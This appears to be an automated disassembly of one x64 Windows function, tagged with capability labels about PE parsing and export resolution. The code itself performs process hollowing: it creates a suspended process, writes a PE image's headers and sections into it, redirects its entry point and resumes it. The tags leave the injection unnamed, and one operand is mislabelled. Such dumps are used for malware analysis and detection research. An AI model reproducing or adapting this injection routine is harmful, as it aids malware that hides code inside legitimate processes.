Function at 0x140005180
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2b8
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
call fcn.1400bb190
mov dword [rsp + 0xd8], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x2f8]
test eax, eax
je 0x14000527d
lea rcx, [rsp + 0x158]
call fcn.14001c290
nop
movzx r9d, byte [rsp + 0x2f0]
lea r8, [rsp + 0x158]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0xd8]
call fcn.1400bd2f0
movzx eax, al
test eax, eax
je 0x140005270
cmp qword [rsp + 0x78], 0
je 0x140005270
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0x78]
call fcn.140012250
test eax, eax
je 0x140005270
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xa8]
call fcn.1400c69d0
test eax, eax
je 0x140005270
mov byte [rsp + 0x61], 1
lea rcx, [rsp + 0x158]
call fcn.14001c8f0
movzx eax, byte [rsp + 0x2f8]
test eax, eax
je 0x140005299
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140005299
xor al, al
jmp 0x1400059b5
lea rdx, [0x1400d21a8]
lea rcx, [rsp + 0x178]
call fcn.14000c320
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
call fcn.14001cd50
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x178]
call fcn.14001c8f0
cmp qword [rsp + 0xb8], 0
je 0x14000541b
lea rdx, [0x1400d2d28]
lea rcx, [rsp + 0x198]
call fcn.14000c320
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x100]
call fcn.14001cd50
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f5ae8], rax
lea rcx, [rsp + 0x198]
call fcn.14001c8f0
lea rdx, [0x1400d2d50]
lea rcx, [rsp + 0x1b8]
call fcn.14000c320
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
call fcn.14001cd50
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f5af0], rax
lea rcx, [rsp + 0x1b8]
call fcn.14001c8f0
lea rdx, [0x1400d2d78]
lea rcx, [rsp + 0x1d8]
call fcn.14000c320
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
call fcn.14001cd50
mov rdx, rax
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f5af8], rax
lea rcx, [rsp + 0x1d8]
call fcn.14001c8f0
jmp 0x140005422
xor al, al
jmp 0x1400059b5
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14000587f
mov rax, qword [rsp + 0xe0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x14000587f
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x2c8]
call fcn.1400c6fa0
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x1400054a7
cmp dword [rsp + 0x88], 0
jne 0x1400054c1
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x1400054cb
cmp dword [rsp + 0x88], 6
je 0x1400054cb
movzx eax, byte [rsp + 0x60]
jmp 0x1400059b5
mov edx, 0x18
lea rcx, [rsp + 0xc0]
call fcn.140020b80
mov edx, 0x68
lea rcx, [rsp + 0x240]
call fcn.140020b80
mov dword [rsp + 0x240], WSASetLastError
mov dword [rsp + 0x27c], 0x101
xor eax, eax
mov word [rsp + 0x280], ax
movzx eax, byte [rsp + 0x2f8]
test eax, eax
je 0x14000558d
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0xb0]
call fcn.1400c6d80
mov dword [rsp + 0x8c], eax
jmp 0x1400055eb
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x2c8]
call fcn.140011dd0
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x14000587f
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.1400c9df0
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call fcn.1400128d0
test eax, eax
je 0x140005870
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x150]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call qword [0x1400f5ae8]
movzx eax, byte [rsp + 0x2e8]
test eax, eax
je 0x140005699
mov dword [rsp + 0x90], 0x40
jmp 0x1400056a4
mov dword [rsp + 0x90], 4
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xdc], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xdc]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call fcn.1400147b0
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x14000585f
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
call fcn.140014d70
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x70], 0
jmp 0x140005754
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x70], eax
jge 0x1400057d5
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x98]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x2c0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0xa0]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xc0]
call fcn.140014d70
mov rax, qword [rsp + 0x98]
add rax, 0x28
mov qword [rsp + 0x98], rax
jmp 0x14000574a
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa0]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call fcn.140014d70
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call qword [0x1400f5af0]
mov rcx, qword [rsp + 0xc8]
call qword [0x1400f5af8]
mov byte [rsp + 0x60], 1
jmp 0x14000586e
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call fcn.1400145e0
jmp 0x14000587f
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call fcn.1400145e0
cmp qword [rsp + 0xa8], 0
je 0x140005971
lea rdx, [0x1400d2d98]
lea rcx, [rsp + 0x1f8]
call fcn.14000c320
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
mov rcx, qword [rsp + 0x130]
call fcn.14001cd50
mov rcx, rax
call fcn.1400c7e60
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x1f8]
call fcn.14001c8f0
cmp qword [rsp + 0xe8], 0
je 0x140005965
lea rdx, [0x1400d2db8]
lea rcx, [rsp + 0x218]
call fcn.14000c320
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
call fcn.14001cd50
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f5ad8], rax
lea rcx, [rsp + 0x218]
call fcn.14001c8f0
cmp qword [0x1400f5ad8], 0
je 0x140005965
mov rcx, qword [rsp + 0xa8]
call qword [0x1400f5ad8]
mov qword [rsp + 0xa8], 0
cmp qword [rsp + 0xb0], 0
je 0x140005995
mov rcx, qword [rsp + 0xb0]
call fcn.1400116f0
mov qword [rsp + 0xb0], 0
cmp qword [rsp + 0x78], 0
je 0x1400059b0
mov rcx, qword [rsp + 0x78]
call fcn.1400116f0
mov qword [rsp + 0x78], 0
movzx eax, byte [rsp + 0x60]
add rsp, 0x2b8
ret